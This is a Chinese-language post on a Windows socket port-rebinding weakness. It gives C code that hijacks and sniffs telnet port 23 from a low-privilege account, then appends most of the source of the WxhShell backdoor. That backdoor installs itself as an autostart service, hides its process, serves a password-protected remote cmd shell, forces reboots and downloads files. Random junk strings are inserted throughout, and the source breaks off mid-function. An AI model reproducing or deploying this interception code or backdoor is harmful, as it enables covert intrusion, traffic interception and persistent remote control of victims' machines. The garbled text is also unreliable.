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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T6rjtq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,S3uY6, f2$<4Hhmm saddr.sin_family = AF_INET; P6ugbq[x#e IC. R4- saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6}mSA@4& 6<Zk%[7t bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L:_pJP H,1Iz@W1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #fe zUU 0Szt^l 7 这意味着什么?意味着可以进行如下的攻击: Fo|
rRI2 dC}4Er 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w>#.id[k |fWR[\NU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^#j{9FpPs ViG-tb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gG6BEsGa, BG@[m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -Ly A xHwcP2 1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A `=.F {$-\)K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C'0=eel[ .$-%rU:*} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1\Vp[^#Vx 7y>{Y$n #include N%8aLD #include .*w3 ryQ #include
Zv1/J}+ #include E@ !~q DWORD WINAPI ClientThread(LPVOID lpParam); ;ZLfb n3\ int main() Js8d{\0\ { T;JA.=I WORD wVersionRequested; Z|Xv_Xo|4 DWORD ret;
AQz&u WSADATA wsaData; X=b]Whuv BOOL val; rexy*Xv`2p SOCKADDR_IN saddr; GI*2*m!u SOCKADDR_IN scaddr; gNo}\
lm4V int err; V_7QWIdiy> SOCKET s; vJ!<7 l& SOCKET sc; *Ry
"`" int caddsize; /H[ !v:U HANDLE mt; $P~Tt 4068 DWORD tid; 3MFb\s&Fq wVersionRequested = MAKEWORD( 2, 2 ); IDv|i.q3 err = WSAStartup( wVersionRequested, &wsaData ); r*s)T`T}} if ( err != 0 ) { |h1Y3 printf("error!WSAStartup failed!\n"); lw 9rf4RF return -1; cY\"{o"C } n<>/X_m saddr.sin_family = AF_INET; 8Ow0A XB-l[4? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _:,U$W H;eOrX{GT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); naKB2y]l saddr.sin_port = htons(23); 2(sq*!tX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cn!Y7LVr { k7Z1Y!n7 printf("error!socket failed!\n"); q\6ZmKGnT return -1; Lv?e[GA } )OcG$H NK val = TRUE; *l4`2 eqZ //SO_REUSEADDR选项就是可以实现端口重绑定的 Kf7v_T/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~/kx { (|<.7K N printf("error!setsockopt failed!\n"); vy330SQPo return -1; QZ51}i } q!zsGf{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JdeGQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O:,Fif?; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' fm}&0 .FXn=4l'vV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DN;An0
{MK { zmMz6\ $ ret=GetLastError(); C %o^AR printf("error!bind failed!\n"); gkyv[ return -1; V|8`]QW@ } {$mj9?n=v listen(s,2); i.`RQZ$,/ while(1) SLG3u;Ab { D#,P-0+% caddsize = sizeof(scaddr); l6EDl0~r //接受连接请求 LAwAFma> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %@d~)f if(sc!=INVALID_SOCKET) *aF<#m v { :X6A9jmd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _n+./B if(mt==NULL) #e8NF,H5 { 7EAkY`Op printf("Thread Creat Failed!\n"); [8QE}TFic break; #I.Wmfz } n7S~nk } Eo }mSd CloseHandle(mt); MzsDDP+h } hVcV_ closesocket(s); u*$ 1e WSACleanup(); U0:tE>3` return 0; 2x7%6' } mmj6YQ0a DWORD WINAPI ClientThread(LPVOID lpParam) ES#K'Lf { }TCOm_Y/qL SOCKET ss = (SOCKET)lpParam; SrVJ Q~:> SOCKET sc; `<L6Q2Y>j unsigned char buf[4096]; {
+%S{=j SOCKADDR_IN saddr; 5'Fh_TXTD long num; U\ A*${ DWORD val; -IB~lw DWORD ret; Rg6e7JVu //如果是隐藏端口应用的话,可以在此处加一些判断 'nM)= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 M/,jHG8v saddr.sin_family = AF_INET; 85fBKpEe saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z;_d?S<*m saddr.sin_port = htons(23); 0#mu[O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &\0`\#R { _YH)E^If printf("error!socket failed!\n"); P:")Qb2 return -1; sc!
e$@U } v*nX val = 100; E30VKh | if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J!:ss { g[P8 ret = GetLastError(); J8x>vC return -1; &r;4$7 } Pxj?W'| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VlVd"jW { @Ooh}V#J ret = GetLastError(); j/R return -1; .TURS } B%L0g.D" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *}\!&Zk" { dfo{ B/+ printf("error!socket connect failed!\n"); ;q&>cnLDR closesocket(sc); Iky'x[p,D closesocket(ss); Y24:D7Q return -1; >4.{|0%ut } j!;?=s while(1) yS#LT3>l { )h~MIpWR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SZCFdb //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?hS n) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m#'2
3 num = recv(ss,buf,4096,0); W)F2X0D> if(num>0) JeJc(e send(sc,buf,num,0); 7K`A2 else if(num==0) L44-: 3 break; 1_7}B4 num = recv(sc,buf,4096,0); <8Qa"<4f; if(num>0) ;&|ja]r send(ss,buf,num,0); TZq']Z)# else if(num==0) j"E_nV:Qc break; %cD7}o:u } 5M~\'\; closesocket(ss); IiACr@[?e closesocket(sc); :Q\b$=,: return 0 ; C,w$)x5kls } ztG_::QtG] ?Ee HeN_ `?Wak=]g ========================================================== NwmO[pt+ Got5(^'c 下边附上一个代码,,WXhSHELL YXJjqH3 'hL\xf{ ========================================================== v!ULErs v.+-)RLQg #include "stdafx.h" 74%,v| X+{4,?04+ #include <stdio.h> cT8jG,+"} #include <string.h> =F
ZvtcCa #include <windows.h> Rtn.cSd #include <winsock2.h> 5isejR{r #include <winsvc.h> 7 [55 #include <urlmon.h> Ku_`F2Q <Ja> #pragma comment (lib, "Ws2_32.lib") ,k/*f+t #pragma comment (lib, "urlmon.lib") !h2ZrT9
_ #zXkg[J6d #define MAX_USER 100 // 最大客户端连接数 vcAs!ls+ #define BUF_SOCK 200 // sock buffer 5-}4jwk #define KEY_BUFF 255 // 输入 buffer Warz"n]iC fAf sKO* #define REBOOT 0 // 重启 C} +w< #define SHUTDOWN 1 // 关机 2_0OSbFv'P UGEC_ #define DEF_PORT 5000 // 监听端口 R{3f5**0 jGEUl=W
#define REG_LEN 16 // 注册表键长度 j3 ~: \H #define SVC_LEN 80 // NT服务名长度 LI?rz<H!D o\8yYX // 从dll定义API 0?ZJJdI3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ 9Tv*@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <?,o
{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =_8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KLs%{'[7: "-vm=d~\ // wxhshell配置信息 }}Eko7'^ struct WSCFG { j%b/1@I int ws_port; // 监听端口 O GrVy=rd char ws_passstr[REG_LEN]; // 口令 l.lXto.6) int ws_autoins; // 安装标记, 1=yes 0=no V$-IRdb char ws_regname[REG_LEN]; // 注册表键名 )2z
(l-$. char ws_svcname[REG_LEN]; // 服务名 VVvV]rU~ char ws_svcdisp[SVC_LEN]; // 服务显示名 L!DP*XDp char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?DkMzR)u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D2~e@J(K int ws_downexe; // 下载执行标记, 1=yes 0=no \no[>L] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 'rU
[V+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y-{^L`%Mk ]E88zWDY` }; |qJQWmJO&U X#-U // default Wxhshell configuration 3t(nV4uDF struct WSCFG wscfg={DEF_PORT, :=^JHE{ "xuhuanlingzhe", %?_pSH}$! 1, ;&P%A<[` "Wxhshell", JMw1qPJQ "Wxhshell", N9Yc\?_NU_ "WxhShell Service", YQiTx)_ "Wrsky Windows CmdShell Service", $TL~SVHj;{ "Please Input Your Password: ", YrjF1hJ 1, #~q{6()e: " http://www.wrsky.com/wxhshell.exe", g%#"
5Kr "Wxhshell.exe" ! SD? }; 2IqsBK` w:Tz&$&Y$ // 消息定义模块 ^$24231^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '
V;cA$ $ char *msg_ws_prompt="\n\r? for help\n\r#>"; H6x~mZu_:T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; I'
ej?~ char *msg_ws_ext="\n\rExit."; \QstcsEt char *msg_ws_end="\n\rQuit."; KDuM; char *msg_ws_boot="\n\rReboot..."; "N"9PTX char *msg_ws_poff="\n\rShutdown..."; ]0zXpMNI char *msg_ws_down="\n\rSave to "; n!&DLB1z k(><kuJ`3 char *msg_ws_err="\n\rErr!"; ]&qujH^Dd* char *msg_ws_ok="\n\rOK!"; 2r"-X %:N6#;l M char ExeFile[MAX_PATH]; vN-#Ej.
u int nUser = 0; Zk)]=<H HANDLE handles[MAX_USER]; Lc f =)GL int OsIsNt; 1[a;2xA~ ,Zb]3 SERVICE_STATUS serviceStatus; 0ho+Y@8 SERVICE_STATUS_HANDLE hServiceStatusHandle; +%=Ao6/# "CB* // 函数声明 @/ wJW``; int Install(void); ( N~[sf?& int Uninstall(void); +y>D3I int DownloadFile(char *sURL, SOCKET wsh);
|%g^6RN int Boot(int flag); Z+=W gEu1 void HideProc(void); jnYFA[Ab int GetOsVer(void); hUcG3IOBf int Wxhshell(SOCKET wsl); q[nX<tO void TalkWithClient(void *cs); ]ZelB,7q int CmdShell(SOCKET sock); _0 USe int StartFromService(void); Ajr]&H4 int StartWxhshell(LPSTR lpCmdLine); :z56!qU !%_Z>a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <K%qaf VOID WINAPI NTServiceHandler( DWORD fdwControl ); vX]\Jqy 5v=%pQbY // 数据结构和表定义 @O5-w SERVICE_TABLE_ENTRY DispatchTable[] = `ux
U
H# { .ZFs+8qU> {wscfg.ws_svcname, NTServiceMain}, l!<Nw8+U {NULL, NULL} E#`=xg }; H*!j\|v0 d%\{, // 自我安装
5 .
5 int Install(void) @>_`g= { G \?fWqx char svExeFile[MAX_PATH]; Y5$5qQ HKEY key; j08}5Eo strcpy(svExeFile,ExeFile); G%
En&ESWN // 如果是win9x系统,修改注册表设为自启动 Pq>r|/~_ if(!OsIsNt) { B t-o:)pa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AKC';J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r;t0+aLc* RegCloseKey(key); .vj`[?T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E9;cd$}K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lplEQ]J| RegCloseKey(key); r
ioNP( return 0; .dt7b4.kd } 7JD
jJQy } ~z$vF } z/)HJo2# else { Ig t:M[
/
fD // 如果是NT以上系统,安装为系统服务 _{)e\n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \]e"#"v}}_ if (schSCManager!=0) }+h/2D { ^I@1y}xi SC_HANDLE schService = CreateService mVg-z~44T ( |G~LJsXW!v schSCManager, p [4/Nq,c wscfg.ws_svcname, yjaX\Wb[z[ wscfg.ws_svcdisp, Gy
hoo'< SERVICE_ALL_ACCESS, r`pg`ChHv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fHCLsI SERVICE_AUTO_START, K4YpE}]u SERVICE_ERROR_NORMAL, 'due'|#^ svExeFile, Dj'aWyW' NULL, \?{nP6= NULL, TYGUB%A NULL, ]y>)es1 NULL, &[f.;1+C NULL U+F?b\ ); dElOy?v if (schService!=0) \/g.`Pe { L!Iu\_{q CloseServiceHandle(schService); eEePK~%c CloseServiceHandle(schSCManager); Fd*)1FQKT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $73 7oV< strcat(svExeFile,wscfg.ws_svcname); :^tw!U%y1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ce{(5IC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6e3s
| RegCloseKey(key); >KmOTM<{ return 0; Lg0Vn&k } o@mZ 6!ax3 } K9B_o, CloseServiceHandle(schSCManager); k3h,c; } 2F[smUL } 1Y:lFGoe wWv")dk3i return 1;
3e~ab#/ } "Kx2k>ym [,Q(~Qb // 自我卸载 !qsk;Vk7Z int Uninstall(void) s!esk%h{K { q(4W/y HKEY key; swJ3_WhbdT 4NT zK if(!OsIsNt) { OvqCuX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G=W!$(: RegDeleteValue(key,wscfg.ws_regname); ~s{yh-B RegCloseKey(key); 1OJD!juL$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / PDe<p RegDeleteValue(key,wscfg.ws_regname); R]O!F)_/' RegCloseKey(key); kwU~kcM return 0; +e?mKLw14 } Ca?5bCI, } 4bLk+EY4A } SIv8EMGo else { /4J2F9:f 3^AycwNBA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eL3HX _2( if (schSCManager!=0) 7cV9xIe^ { 2?9 FFlX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wNMg Y if (schService!=0) 1t haQ" { np,L39:sf if(DeleteService(schService)!=0) { =+9.X8SP CloseServiceHandle(schService); KKP}fN CloseServiceHandle(schSCManager); H=Rqr return 0; PPSf8-MLW } 8.FBgZh* CloseServiceHandle(schService); )nmLgsg } $zS0]@Dj CloseServiceHandle(schSCManager); 86igP } hfT HP } ~L $B]\/A5 lPF(&pP return 1; S`HshYlE q } VN`T:!& =!u9]3) // 从指定url下载文件 "9,z"k int DownloadFile(char *sURL, SOCKET wsh) /cHd&i,> { [lZo'o HRESULT hr; Se h[".l char seps[]= "/"; tZ,vt7 char *token; u3)Oj7cX char *file; KdY3
char myURL[MAX_PATH]; "S#4 char myFILE[MAX_PATH]; 8}9|hT;
#-$\f(+< strcpy(myURL,sURL); d\Cx(Lb[ token=strtok(myURL,seps); 3Z=OUhn9 while(token!=NULL) [SGt ~bRJ { i(P/=B
file=token; 1cPm $=B token=strtok(NULL,seps); 4|*b{Ni } t
I}@1 ?w6zq| GetCurrentDirectory(MAX_PATH,myFILE); w@RVg*`%7D strcat(myFILE, "\\");
WM$)T6M strcat(myFILE, file); ,FRFH8p send(wsh,myFILE,strlen(myFILE),0); l9"4"+?j< send(wsh,"...",3,0); "8MG[$Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^2Sa_. if(hr==S_OK) B;xw @:H return 0; <tkxE!xF`J else AffVah2o: return 1; tdZ,sHY6 /N6sH!w } 1,@-y#V_ H.`>t // 系统电源模块 ]-h$CJSY int Boot(int flag) ~Wy&xs ZH { f>.A^? HANDLE hToken; [DrG;k ? TOKEN_PRIVILEGES tkp; Ei!t#'*D< 3GVE/GtU if(OsIsNt) { )9'eckt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jR8~EI+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cx%[hM09 tkp.PrivilegeCount = 1; |O0=Q,<m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !z@QoD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =f'MiU!p6 if(flag==REBOOT) { *zoAD|0N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fx#0
:p return 0; )=VSERs } rN6@=uB else { N)'oX3?x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oFt]q
=EU return 0; |jB]5ciT } +C3IP } 9_Tk8L# else { `:WVp~fn if(flag==REBOOT) { n{vp& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xb#M{EE-. return 0; 48X;'b,h } J u5<wjQR\ else { e ='bc7$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _nw=^zS return 0; c%1<O!c } *&p `8: } zTi%j$o ;)Rvk&J5 return 1; |k5uVhN } d{_tOj$ ]{0R0Gr94 // win9x进程隐藏模块 0Yz
&aH void HideProc(void) Ao%E]M { 2`4'Y.Qf >
Q1r^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z_fR?~$N2 if ( hKernel != NULL ) 2w`k h= { v~-z["=}! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ijWwrh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C6Qnn@waYb FreeLibrary(hKernel); \ZdV|23 } LF+#PnK n99>oh return; bni :B?# } )@DT^#zR aYQ!`mS::M // 获取操作系统版本 pQ0yZpN%; int GetOsVer(void) RB1c!h$u { cVv>"oF;~* OSVERSIONINFO winfo; F 7+Gt
Ed winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |a@$KF$ GetVersionEx(&winfo); (Bs0/C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W]|;ZzZ=m return 1; 77/&M^0 else 1M&n=s
_ return 0; 12)~PIaF } ju8mO& =x
"N0p // 客户端句柄模块 2!QS&i int Wxhshell(SOCKET wsl) ?_9cFo59: { 4xLU15C SOCKET wsh; 3\eb:-B:@ struct sockaddr_in client; iN%\wkx*N DWORD myID; x#yL&+'?Mj ]9z{
95 while(nUser<MAX_USER) ;c73:'e { 2GRh8G&5 int nSize=sizeof(client); EgIFi{q=0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xQs2) if(wsh==INVALID_SOCKET) return 1; 2%g)0[1 }vBk,ED handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Ajs0 T2 if(handles[nUser]==0) ^T\JFzV closesocket(wsh); Ikiv+Fq( else k>#,1GbNZy nUser++; ,lm.~% }P* } U+sAEN_e k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O?Xg%k# Z[8{V return 0; jYKs| J)[ } btb-MSkO V.J[Uwf // 关闭 socket d#7 z
N void CloseIt(SOCKET wsh) +:w9K!31- { ?}^e,.M0?s closesocket(wsh); (1\!6 nUser--; jM1|+o*Wr ExitThread(0); $5nOi aQL }
rly3f Q%4>okj, // 客户端请求句柄 ) ^PY-~o[ void TalkWithClient(void *cs) Vf6lu)Zc1 { ^!H8"CdC3 pLMki=.Ld SOCKET wsh=(SOCKET)cs; '/
3..3k char pwd[SVC_LEN]; NwM = char cmd[KEY_BUFF]; -WP_0 char chr[1]; vvw6 GB,M int i,j; w C]yE\P1 j<!rc>)2+L while (nUser < MAX_USER) { 0}$",M!p gsufd{{ if(wscfg.ws_passstr) { '7[{ISBXU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); En3Q% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @TC_XU)& //ZeroMemory(pwd,KEY_BUFF); Sj{z i=0; VR5$[-E3 while(i<SVC_LEN) { $Hqm 09w S:{hgi,T* // 设置超时 [r_,BH\nu fd_set FdRead; m *8[I struct timeval TimeOut; O?NAbxkp FD_ZERO(&FdRead); lwPK^)|} FD_SET(wsh,&FdRead); I"*g-ji0 TimeOut.tv_sec=8; FX )g\=ov TimeOut.tv_usec=0; yNdtq\h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _7.Wz7 ]b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sai_rNRWB 2;.7c+r0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -fVeE<[ pwd =chr[0]; c ;` if(chr[0]==0xd || chr[0]==0xa) { 7}(LO^,A pwd=0; >
taT;[Oa break; Z 2Fm=88 } %b'ic i++; ohusL9D } 2H fP$. wG2lCv`d // 如果是非法用户,关闭 socket 0iqa]Am if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lhu2;F\/ } %).phn"ij[ <||F$t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F7UY>z3jL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h;f5@#F iyrUY while(1) { orf21N+ [ RvV4SlZz ZeroMemory(cmd,KEY_BUFF); 9a2Ga N8}R<3/ // 自动支持客户端 telnet标准 LlL\7?_; j=0; Zu:cF+hl while(j<KEY_BUFF) { #wbaRx@rc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p#'BV'0bl cmd[j]=chr[0]; ?I)-ez if(chr[0]==0xa || chr[0]==0xd) { ~|@ aV:k cmd[j]=0; gt6*x=RCrQ break; |ap{+ xh } uF9p:FvN8 j++; 8e)k5[\m } [ivz/r(Rj @^}
%
o-: // 下载文件 ,7SLc+ if(strstr(cmd,"http://")) { d|]F^DDuI send(wsh,msg_ws_down,strlen(msg_ws_down),0); jfZ(5Qu3.H if(DownloadFile(cmd,wsh)) ?/)Mt(p send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%C:k,Cx{d else LslQZ]3MY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o %A4wEye } lYT}Nc4"=" else { CjORL'3 z,}1K! switch(cmd[0]) { c>{X(Z=2 ]ms#*IZ // 帮助 )<9g+^ case '?': { ~-lIOQ.v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tz+2g&+ break; z|F>+6l"Y7 } |M`B // 安装 FIlw case 'i': { Fp+^`;j if(Install()) uDK`;o'F send(wsh,msg_ws_err,strlen(msg_ws_err),0); inZMq(_@$ else <|k!wfHL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D}vgXzD break; 6Z
~>d;&9 } >FFZ8= // 卸载 D; H</5#Q case 'r': { vTQQd@ if(Uninstall()) ^2|gQ'7< send(wsh,msg_ws_err,strlen(msg_ws_err),0); uCF+Mp else 7<x0LW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AUcq\Ys break; |OF<=GGO+ } >},O_qx // 显示 wxhshell 所在路径 t= "EbPE case 'p': { ^v*ajy.> char svExeFile[MAX_PATH]; 6Bmv1n[X^h strcpy(svExeFile,"\n\r"); }lML..((1 strcat(svExeFile,ExeFile); 7'7bIaJk send(wsh,svExeFile,strlen(svExeFile),0); 3l->$R] break; 03J,NXs } pK1P-!c // 重启 qi`*4cas*A case 'b': { B@e,3: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *58<.L| if(Boot(REBOOT)) @jN!j*Y H send(wsh,msg_ws_err,strlen(msg_ws_err),0); yopEqO else { FoWE< closesocket(wsh);
zN#$eyt ExitThread(0); 7on$}=% } F0o7XUt break; MG[?C2KA/ } z
4Qz9#*"^ // 关机 B{H;3{0 case 'd': { JVwYV5-O<0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n7
4?W if(Boot(SHUTDOWN)) qc|;qPj send(wsh,msg_ws_err,strlen(msg_ws_err),0); `5< else { UY*Hc closesocket(wsh); 2$yKa5SaX ExitThread(0); Hlp!6\gukp } Otj=vGr0 break; %bZ3^ ub}t } U|g4t=@ZR // 获取shell &at>pV3_ case 's': { KArf:d CmdShell(wsh); ($7>\"+Tl closesocket(wsh); PkF
B. ExitThread(0); QB#f'X break; }h5pM`|1 } .^I,C!O# // 退出 u]@``Zb| case 'x': { JMuUj_^}7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^USj9HTK CloseIt(wsh); eg~$WB;1 break; vlw2dY@^ } /8q7pwV // 离开 |iLeOztuE case 'q': { i
cQsA send(wsh,msg_ws_end,strlen(msg_ws_end),0); p+snBaAo} closesocket(wsh); zu(/c WSACleanup(); '1~mnmiP exit(1); 0fxA*]h break; gmLGK1 } FgE6j; } RQy|W}d_ } ;dRTr * ? =_l=dR // 提示信息 3*CF !Y% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <\8dh(> } Yt++? } @Rig@
93kSBF# return; h#^IT } #AyM! @bmu4!"d // shell模块句柄 {[hV['Awv int CmdShell(SOCKET sock) !vr">@}K { /(BQzCP9O; STARTUPINFO si; kMo;<Z ZeroMemory(&si,sizeof(si)); U;i:k%Bzy si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pTOS}A[dh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?q7VB PROCESS_INFORMATION ProcessInfo; j1v fp"J1 char cmdline[]="cmd"; 64#~ p) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vs{i2!^ return 0; RxAWX?9Z } ^.mQ~F D4}WJMQ7s // 自身启动模式
%3KWc- int StartFromService(void) 1'"o; a]k/ { L/%3_, typedef struct ~4=4Ks0 { &1F)/$,v DWORD ExitStatus; _{_LTy%[ DWORD PebBaseAddress; nFzhj%Pt; DWORD AffinityMask; Up`$U~%- DWORD BasePriority; 8n?P'iM ULONG UniqueProcessId;
4sSQ
nK ULONG InheritedFromUniqueProcessId; g4=}]. } PROCESS_BASIC_INFORMATION; Kk!D|NKLC r444s8Y PROCNTQSIP NtQueryInformationProcess; J*.Nf)i
